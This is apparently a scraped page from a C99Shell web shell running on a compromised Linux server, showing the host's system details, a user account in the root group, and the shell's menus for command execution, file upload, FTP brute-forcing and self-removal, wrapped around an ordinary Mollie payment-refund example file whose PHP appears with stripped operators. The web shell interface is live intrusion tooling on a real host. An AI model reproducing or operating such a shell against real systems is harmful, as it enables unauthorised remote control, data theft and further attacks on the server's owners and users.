!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/mollie/mollie-api-php/examples/payments/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     refund-payment.php (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * How to refund a payment programmatically
 */

try {
    
/*
     * Initialize the Mollie API library with your API key.
     *
     * See: https://www.mollie.com/dashboard/developers/api-keys
     */
    
require "../initialize.php";

    
/*
     * Determine the url parts to these example files.
     */
    
$protocol = isset($_SERVER['HTTPS']) && strcasecmp('off'$_SERVER['HTTPS']) !== "https" "http";
    
$hostname $_SERVER['HTTP_HOST'];
    
$path dirname($_SERVER['REQUEST_URI'] ?? $_SERVER['PHP_SELF']);

    if (isset(
$_GET['payment_id'])) {
        
/*
         * Retrieve the payment you want to refund from the API.
         */
        
$paymentId $_GET['payment_id'];
        
$payment $mollie->payments->get($paymentId);

        if (
$payment->canBeRefunded() && $payment->amountRemaining->currency === 'EUR' && $payment->getAmountRemaining() >= 2.00) {
            
/*
             * Refund € 2,00 of the payment.
             *
             * https://docs.mollie.com/reference/v2/refunds-api/create-refund
             */
            
$refund $payment->refund([
                
"amount" => [
                    
"currency" => "EUR",
                    
"value" => "2.00"// You must send the correct number of decimals, thus we enforce the use of strings
                
],
            ]);

            echo 
"{$refund->amount->currency} {$refund->amount->value} of payment {$paymentId} refunded."PHP_EOL;
        } else {
            echo 
"Payment {$paymentId} can not be refunded."PHP_EOL;
        }

        
/*
         * Retrieve all refunds on a payment.
         */
        
echo "<ul>";
        foreach (
$payment->refunds() as $refund) {
            echo 
"<li>";
            echo 
"<strong style='font-family: monospace'>" htmlspecialchars($refund->id) . "</strong><br />";
            echo 
htmlspecialchars($refund->description) . "<br />";
            echo 
htmlspecialchars($refund->amount->currency) . " " htmlspecialchars($refund->amount->value) . "<br />";
            echo 
"Status: " htmlspecialchars($refund->status);
            echo 
"</li>";
        }
        echo 
"</ul>";
    }

    echo 
"Refund payment: ";
    echo 
"<form method='get'><input name='payment_id' value='tr_xxx'/><input type='submit' /></form>";

    echo 
"<p>";
    echo 
'<a href="' $protocol '://' $hostname $path '/create-payment.php">Create a payment</a><br>';
    echo 
'<a href="' $protocol '://' $hostname $path '/create-ideal-payment.php">Create an iDEAL payment</a><br>';
    echo 
'<a href="' $protocol '://' $hostname $path '/list-payments.php">List payments</a><br>';
    echo 
"</p>";
} catch (
\Mollie\Api\Exceptions\ApiException $e) {
    echo 
"API call failed: " htmlspecialchars($e->getMessage());
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--